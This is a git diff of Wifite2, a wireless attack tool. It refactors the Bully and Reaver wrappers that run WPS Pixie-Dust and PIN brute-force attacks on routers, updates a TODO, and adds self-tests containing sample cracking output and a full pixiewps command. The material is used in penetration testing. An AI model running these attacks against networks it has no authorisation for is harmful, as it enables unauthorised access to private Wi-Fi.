diff --git a/TODO.md b/TODO.md index 201315a..07cd3e8 100644 --- a/TODO.md +++ b/TODO.md @@ -65,36 +65,36 @@ If it's possible to run these programs on Windows or OSX, Wifite should suporrt ------------------------------------------------------ -### WPS detection +### WPS Attacks -See https://github.com/derv82/wifite2/issues/62 for discussion. +Wifite's Pixie-Dust attack status output differs between Reaver & Bully. And the command line switches are... not even used? -WASH -* Wash does not seem to detect APs when given a .cap file -* Wash can scan, but is slow and does not provide as much info as airodump -* We could run Wash as a daemon on the same channel as airodump... - * Channel-hopping might interfere with each-other? - * Could we tell wash to channel hop & tell airodump-ng to not channelhop? Vice versa? +Ideally for Pixie-Dust, we'd have: -AIRODUMP -* Airodump-ng detects WPS, but does not output to CSV -* Airodump-ng WPS detection requires parsing airodump's STDOUT +1. Switch to set bully/reaver timeout +2. Identical counters between bully/reaver (failures, timeouts, lockouts) + * I don't think users should be able to set failure/timeout thresholds (no switches). +3. Identical statuses between bully/reaver. + * Errors: "WPSFail", "Timeout", "NoAssoc", etc + * Statuses: "Waiting for target", "Trying PIN", "Sending M2 message", "Running pixiewps", etc. + * "Step X/Y" is nice, but not entirely accurate. + * It's weird when we go from (6/8) to (5/8) without explanation. And the first 4 are usually not displayed. +3. Countdown timer until attack is aborted (e.g. 5min) +4. Countdown timer on "step timeout" (time since last status changed, e.g. 30s) -TSHARK -* DIY: Extract Beacon frames from the .cap file with WPS flags... -* `tshark -r f.cap -R "wps.primary_device_type.category == 6" -n -2` +Order of statuses: +1. Waiting for beacon +2. Associating with target +3. Trying PIN / EAPOL start / identity response / M1,M2 (M3,M4) +4. Running pixiewps +5. Cracked or Failed -We can extract WPS networks' BSSID and WPS lock status: +And as for PIN cracking.. um.. Not even sure this should be an option in Wifite TBH. +PIN cracking takes days and most APs auto-lock after 3 attempts. +Multi-day (possibly multi-month) attacks aren't a good fit for Wifite. +Users with that kind of dedication can run bully/reaver themselves. -```bash -% tshark -r withwps-01.cap -n -Y "wps.wifi_protected_setup_state && wlan.da == ff:ff:ff:ff:ff:ff" -T fields -e wlan.ta -e wps.ap_setup_locked -E separator=, -# Output: -fc:51:a4:1e:11:67, -98:e7:f4:90:f1:12,0x00000001 -10:13:31:30:35:2c, -``` - --------------------------------- +------------------------------------------------------ ### Directory structure diff --git a/py/AttackWPS.py b/py/AttackWPS.py index 7fa3102..8c96d53 100644 --- a/py/AttackWPS.py +++ b/py/AttackWPS.py @@ -2,11 +2,8 @@ # -*- coding: utf-8 -*- from Attack import Attack -from Airodump import Airodump from Color import Color from Configuration import Configuration -from CrackResultWPS import CrackResultWPS -from Process import Process from Bully import Bully from Reaver import Reaver @@ -29,6 +26,8 @@ class AttackWPS(Attack): if Configuration.use_bully: # Bully: Pixie-dust bully = Bully(self.target, pixie=True) + bully.run() + bully.stop() if bully.crack_result is not None: self.crack_result = bully.crack_result return True @@ -51,6 +50,8 @@ class AttackWPS(Attack): if Configuration.use_bully: # Bully: PIN guessing bully = Bully(self.target, pixie=False) + bully.run() + bully.stop() if bully.crack_result is not None: self.crack_result = bully.crack_result return True diff --git a/py/Bully.py b/py/Bully.py index 2d97a87..c0e5df8 100644 --- a/py/Bully.py +++ b/py/Bully.py @@ -7,6 +7,7 @@ from Color import Color from Timer import Timer from Process import Process from Configuration import Configuration +from CrackResultWPS import CrackResultWPS import os, time, re from threading import Thread @@ -37,14 +38,11 @@ class Bully(Attack): "--force", "-v", "4" ] - #self.cmd.extend(["-p", "80246212", "--force", "--bruteforce"]) if self.pixie: self.cmd.append("--pixiewps") self.cmd.append(Configuration.interface) self.bully_proc = None - self.run() - self.stop() def attack_type(self): return "Pixie-Dust" if self.pixie else "PIN Attack" @@ -123,13 +121,13 @@ class Bully(Attack): def parse_line(self, line): # [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c) - got_beacon = re.compile(r".*Got beacon for '(.*)' \((.*)\)").match(line) + got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line) if got_beacon: # group(1)=ESSID, group(2)=BSSID self.state = "Got beacon" # [+] Last State = 'NoAssoc' Next pin '48855501' - last_state = re.compile(r".*Last State = '(.*)'\s*Next pin '(.*)'").match(line) + last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line) if last_state: # group(1)=result, group(2)=PIN result = "Start" # last_state.group(1) @@ -138,7 +136,7 @@ class Bully(Attack): # [+] Rx( M5 ) = 'Pin1Bad' Next pin '35565505' # [+] Tx( Auth ) = 'Timeout' Next pin '80241263' - rx_m = re.compile(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'").match(line) + rx_m = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line) if rx_m: # group(1)=M3/M5, group(2)=result, group(3)=PIN self.m_state = rx_m.group(1) @@ -161,48 +159,54 @@ class Bully(Attack): self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result) # [!] WPS lockout reported, sleeping for 43 seconds ... - lock_out = re.compile(r".*WPS lockout reported, sleeping for (\d+) seconds").match(line) + lock_out = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line) if lock_out: sleeping = lock_out.group(1) self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping self.consecutive_lockouts += 1 # [Pixie-Dust] WPS pin not found - pixie_re = re.compile(r".*\[Pixie-Dust\] WPS pin not found").match(line) + pixie_re = re.search(r".*\[Pixie-Dust\] WPS pin not found", line) if pixie_re: self.state = "{R}Failed{W}" # [+] Running pixiewps with the information, wait ... - pixie_re = re.compile(r".*Running pixiewps with the information").match(line) + pixie_re = re.search(r".*Running pixiewps with the information", line) if pixie_re: self.state = "{G}Running pixiewps...{W}" # [*] Pin is '80246213', key is 'password' - pin_key_re = re.compile(r"^\s*Pin is '(\d*)', key is '(.*)'\s*$").match(line) + # [*] Pin is '11867722', key is '9a6f7997' + pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line) if pin_key_re: self.cracked_pin = pin_key_re.group(1) self.cracked_key = pin_key_re.group(2) # PIN : '80246213' - pin_re = re.compile(r"^\s*PIN\s*:\s*'(.*)'\s*$").match(line) - if pin_re: self.cracked_pin = pin_re.group(1) + pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line) + if pin_re: + self.cracked_pin = pin_re.group(1) # KEY : 'password' - key_re = re.compile(r"^\s*KEY\s*:\s*'(.*)'\s*$").match(line) - if key_re: self.cracked_key = key_re.group(1) + key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line) + if key_re: + self.cracked_key = key_re.group(1) - #warn_re = re.compile(r"\[\!\]\s*(.*)$").match(line) + #warn_re = re.search(r"\[\!\]\s*(.*)$", line) #if warn_re: self.state = "{O}%s{W}" % warn_re.group(1) if not self.crack_result and self.cracked_pin and self.cracked_key: Color.clear_entire_line() - Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n") + Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}") + Color.pl("") self.crack_result = CrackResultWPS( - airodump_target.essid, - airodump_target.bssid, + self.target.bssid, + self.target.essid, self.cracked_pin, self.cracked_key) + Color.pl("") + self.crack_result.dump() return True else: return False @@ -213,3 +217,12 @@ class Bully(Attack): def __del__(self): self.stop() + +if __name__ == '__main__': + stdout = " [*] Pin is '11867722', key is '9a6f7997'" + Configuration.initialize(False) + from Target import Target + fields = 'AA:BB:CC:DD:EE:FF,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,HOME-ABCD,'.split(',') + target = Target(fields) + b = Bully(target) + b.parse_line(stdout) diff --git a/py/CrackResultWPS.py b/py/CrackResultWPS.py index efa2d3a..87b543c 100644 --- a/py/CrackResultWPS.py +++ b/py/CrackResultWPS.py @@ -16,12 +16,16 @@ class CrackResultWPS(CrackResult): super(CrackResultWPS, self).__init__() def dump(self): - if self.essid: + if self.essid is not None: Color.pl('{+} %s: {C}%s{W}' % ( 'ESSID'.rjust(12), self.essid)) + if self.psk is None: + psk = '{O}N/A{W}' + else: + psk = '{G}%s{W}' % self.psk Color.pl('{+} %s: {C}%s{W}' % ( 'BSSID'.rjust(12), self.bssid)) Color.pl('{+} %s: {C}WPA{W} ({C}WPS{W})' % 'Encryption'.rjust(12)) Color.pl('{+} %s: {G}%s{W}' % ( 'WPS PIN'.rjust(12), self.pin)) - Color.pl('{+} %s: {G}%s{W}' % ('PSK/Password'.rjust(12), self.psk)) + Color.pl('{+} %s: {G}%s{W}' % ('PSK/Password'.rjust(12), psk)) def to_dict(self): return { diff --git a/py/Reaver.py b/py/Reaver.py index 3b19f5f..e448eb7 100644 --- a/py/Reaver.py +++ b/py/Reaver.py @@ -70,7 +70,7 @@ class Reaver(Attack): (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) # Check if we cracked it, or if process stopped. - if (pin and psk and ssid) or reaver.poll() is not None: + if pin is not None or reaver.poll() is not None: reaver.interrupt() # Check one-last-time for PIN/PSK/SSID, in case of race condition. @@ -78,11 +78,12 @@ class Reaver(Attack): (pin, psk, ssid) = Reaver.get_pin_psk_ssid(stdout) # Check if we cracked it. - if pin and psk and ssid: + if pin is not None: # We cracked it. bssid = self.target.bssid Color.clear_entire_line() - Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n") + Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}") + Color.pl("") self.crack_result = CrackResultWPS(bssid, ssid, pin, psk) self.crack_result.dump() return True @@ -219,7 +220,11 @@ class Reaver(Attack): # CHECK FOR CRACK (pin, psk, ssid) = Reaver.get_pin_psk_ssid(out) - if pin and psk and ssid: + if pin is not None: + if psk is None: + psk = '' + elif ssid is None: + ssid = target.essid # We cracked it. self.success = True Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n') @@ -238,15 +243,14 @@ class Reaver(Attack): if match: # Reset failures on successful try failures = 0 - groups = match.groups() - pin_current = int(groups[0]) - pin_total = int(groups[1]) + pin_current = int(match.group(1)) + pin_total = int(match.group(2)) # Reaver 1.3, 1.4 match = None for match in re.finditer('Trying pin (\d+)', out): if match: - pin = int(match.groups()[0]) + pin = int(match.group(1)) if pin not in pins: # Reset failures on successful try failures = 0 @@ -282,14 +286,14 @@ class Reaver(Attack): match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out) if match: - eta = match.groups()[0] + eta = match.group(1) state = '{C}cracking, ETA: {G}%s{W}' % eta match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out) if match: - eta = match.groups()[0] + eta = match.group(1) state = '{C}cracking, ETA: {G}%s{W}' % eta - pins_left = int(match.groups()[1]) + pins_left = int(match.group(2)) # Divine pin_current & pin_total from this: pin_current = 11000 - pins_left @@ -341,24 +345,29 @@ class Reaver(Attack): pin = psk = ssid = None # Check for PIN. - # PIN: Printed *before* the attack completes. - regex = re.search('WPS pin: *([0-9]*)', stdout) + ''' [+] WPS pin: 11867722''' + regex = re.search(r"WPS pin:\s*([0-9]*)", stdout, re.IGNORECASE) if regex: - pin = regex.groups()[0] - # PIN: Printed when attack is completed. - regex = re.search("WPS PIN: *'([0-9]+)'", stdout) - if regex: - pin = regex.groups()[0] + pin = regex.group(1) # Check for PSK. + # Note: Reaver 1.6.x does not appear to return PSK (?) regex = re.search("WPA PSK: *'(.+)'", stdout) if regex: - psk = regex.groups()[0] + psk = regex.group(1) # Check for SSID - regex = re.search("AP SSID: *'(.+)'", stdout) + """1.x [Reaver Test] [+] AP SSID: 'Test Router' """ + regex = re.search(r"AP SSID:\s*'(.*)'", stdout) if regex: - ssid = regex.groups()[0] + ssid = regex.group(1) + + # Check (again) for SSID + if ssid is None: + """1.6.x [+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)""" + regex = re.search(r"Associated with [0-9A-F:]+ \(ESSID: (.*)\)", stdout) + if regex: + ssid = regex.group(1) return (pin, psk, ssid) @@ -372,7 +381,7 @@ class Reaver(Attack): if __name__ == '__main__': - stdout = ''' + old_stdout = ''' [Pixie-Dust] [Pixie-Dust] Pixiewps 1.1 [Pixie-Dust] @@ -390,7 +399,52 @@ Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402 [Reaver Test] [+] WPS PIN: '12345678' [Reaver Test] [+] WPA PSK: 'Test PSK' [Reaver Test] [+] AP SSID: 'Test Router' - ''' - print Reaver.get_pin_psk_ssid(stdout) - pass +''' + # From vom513 in https://github.com/derv82/wifite2/issues/60 + new_stdout = ''' +[+] Switching wlan1mon to channel 5 +[+] Waiting for beacon from EC:1A:59:37:70:0E +[+] Received beacon from EC:1A:59:37:70:0E +[+] Vendor: RealtekS +[+] Trying pin "12345670" +[+] Sending authentication request +[+] Sending association request +[+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e) +[+] Sending EAPOL START request +[+] Received identity request +[+] Sending identity response +[+] Received M1 message +[+] Sending M2 message + + Pixiewps 1.4 + + [?] Mode: 3 (RTL819x) + [*] Seed N1: - + [*] Seed ES1: - + [*] Seed ES2: - + [*] PSK1: 2c2e33f5e3a870759f0aeebbd2792450 + [*] PSK2: 3f4ca4ea81b2e8d233a4b80f9d09805d + [*] ES1: 04d48dc20ec785762ce1a21a50bc46c2 + [*] ES2: 04d48dc20ec785762ce1a21a50bc46c2 + [+] WPS pin: 11867722 + + [*] Time taken: 0 s 21 ms + +executing pixiewps -e d0141b15656e96b85fcead2e8e76330d2b1ac1576bb026e7a328c0e1baf8cf91664371174c08ee12ec92b0519c54879f21255be5a8770e1fa1880470ef423c90e34d7847a6fcb4924563d1af1db0c481ead9852c519bf1dd429c163951cf69181b132aea2a3684caf35bc54aca1b20c88bb3b7339ff7d56e09139d77f0ac58079097938251dbbe75e86715cc6b7c0ca945fa8dd8d661beb73b414032798dadee32b5dd61bf105f18d89217760b75c5d966a5a490472ceba9e3b4224f3d89fb2b -s 5a67001334e3e4cb236f4e134a4d3b48d625a648e991f978d9aca879469d5da5 -z c8a2ccc5fb6dc4f4d69b245091022dc7e998e42ec1d548d57c35a312ff63ef20 -a 60b59c0c587c6c44007f7081c3372489febbe810a97483f5cc5cd8463c3920de -n 04d48dc20ec785762ce1a21a50bc46c2 -r 7a191e22a7b519f40d3af21b93a21d4f837718b45063a8a69ac6d16c6e5203477c18036ca01e9e56d0322e70c2e1baa66518f1b46d01acc577d1dfa34efd2e9ee36e2b7e68819cddacceb596a8895243e33cb48c570458a539dcb523a4d4c4360e158c29b882f7f385821ea043705eb56538b45daa445157c84e60fc94ef48136eb4e9725b134902b96c90b1ae54cbd42b29b52611903fdae5aa88bfc320f173d2bbe31df4996ebdb51342c6b8bd4e82ae5aa80b2a09a8bf8faa9a8332dc9819 +''' + (pin, psk, ssid) = Reaver.get_pin_psk_ssid(old_stdout) + assert pin == '12345678', 'pin was "%s", should have been "12345678"' % pin + assert psk == 'Test PSK', 'psk was "%s", should have been "Test PSK"' % psk + assert ssid == "Test Router", 'ssid was %s, should have been Test Router' % repr(ssid) + result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk) + result.dump() + + print "" + + (pin, psk, ssid) = Reaver.get_pin_psk_ssid(new_stdout) + assert pin == '11867722', 'pin was "%s", should have been "11867722"' % pin + assert psk == None, 'psk was "%s", should have been "None"' % psk + assert ssid == "belkin.00e", 'ssid was "%s", should have been "belkin.00e"' % repr(ssid) + result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk) + result.dump()